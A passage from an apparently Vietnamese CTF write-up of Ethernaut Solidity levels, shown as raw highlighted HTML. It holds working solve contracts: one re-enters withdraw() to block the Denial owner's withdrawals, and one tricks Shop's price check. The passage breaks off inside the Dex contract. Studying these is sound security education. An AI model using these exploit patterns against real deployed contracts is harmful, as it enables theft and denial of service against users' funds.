&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">timeLastWithdrawn&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">withdrawPartnerBalances&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// keep track of partners balances
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setWithdrawPartner&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_partner&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">partner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_partner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// withdraw 1% to recipient and 1% to owner
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">withdraw&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amountToSend&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// perform a call without checking return
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// The recipient can revert, the owner will still get their share
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">partner&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">call&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="n">amountToSend&lt;/span>&lt;span class="p">}(&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">amountToSend&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// keep track of last withdrawal time
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">timeLastWithdrawn&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">withdrawPartnerBalances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">partner&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">amountToSend&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// allow deposit of funds
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// convenience function
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">contractBalance&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần làm cho owner không thể gọi được hàm &lt;code>withdraw()&lt;/code>.&lt;/p>
&lt;p>Ta sẽ tìm cách để tăng lượng gas sử dụng khi owner dùng hàm &lt;code>withdraw()&lt;/code>. Nếu chú ý, ta sẽ thấy server contract sử dụng hàm &lt;code>call&lt;/code> để gửi tiền đến contract &lt;code>partner&lt;/code>. Tuy nhiên, hàm call là một hàm khá nguy hiểm. Khi sử dụng hàm &lt;code>call&lt;/code> để chuyển tiền, contract &lt;code>partner&lt;/code> sẽ nhận tiền ở hàm &lt;code>receive()&lt;/code> (do server contract có hàm &lt;code>receive()&lt;/code>), vậy ta sẽ làm cho hàm &lt;code>receive()&lt;/code> chứa đoạn code có lỗi, dẫn đến lượng gas cần sử dụng trở nên cực kì lớn, và do đó server contract không thể thực hiện hàm &lt;code>withdraw()&lt;/code> được.&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/denial.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Denial&lt;/span> &lt;span class="n">IDenial&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IDenial&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Denial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IDenial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">setWithdrawPartner&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Denial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)).&lt;/span>&lt;span class="n">withdraw&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Cẩn thận khi sử dụng hàm &lt;code>call&lt;/code>: có thể dẫn đến reentrancy attack&lt;/li>
&lt;/ul>
&lt;h3 id="shop">Shop&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">interface&lt;/span> &lt;span class="nc">Buyer&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">price&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Shop&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">price&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">isSold&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">buy&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Buyer&lt;/span> &lt;span class="n">_buyer&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Buyer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">_buyer&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">price&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">price&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="n">isSold&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">isSold&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">price&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_buyer&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">price&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài này yêu cầu ta làm cho biến &lt;code>isSold&lt;/code> trả về &lt;code>true&lt;/code> với giá thấp hơn. Nếu để ý, ta sẽ thấy bài này tương tự như bài Elevator, tuy nhiên bây giờ hàm &lt;code>price()&lt;/code> đã được định nghĩa là &lt;code>view&lt;/code>.
Ý tưởng tương tự như bài Elevator, đó là ta sẽ override hàm &lt;code>price&lt;/code> sao cho ta có thể vượt qua điều kiện &lt;code>if (_buyer.price() &amp;gt;= price &amp;amp;&amp;amp; !isSold)&lt;/code>. Ta chú ý rằng function được định nghĩa là &lt;code>view&lt;/code> vẫn cho phép ta đọc giá trị. Do đó, ta sẽ override hàm &lt;code>price()&lt;/code> trả về giá trị đủ lớn để vượt qua điều kiện, và sau khi gọi lại lần nữa, giá trị trả về của &lt;code>price()&lt;/code> sẽ nhỏ hơn &lt;code>value&lt;/code>.&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/shop.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Buyer&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Shop&lt;/span> &lt;span class="n">IShop&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IShop&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Shop&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">price&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">IShop&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isSold&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">101&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">solve&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IShop&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">buy&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="dex">Dex&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/token/ERC20/IERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/token/ERC20/ERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/access/Ownable.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Dex&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Ownable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setTokens&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_token1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">_token2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_token1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_token2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">addLiquidity&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">token_address&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token_address&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">swap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="k">from&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token1&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token2&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">token1&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;Invalid tokens&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Not enough to swap&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">swapAmount&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getSwapPrice&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">to&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">swapAmount&lt;/span>&lt;span class="p">);&lt;/span>
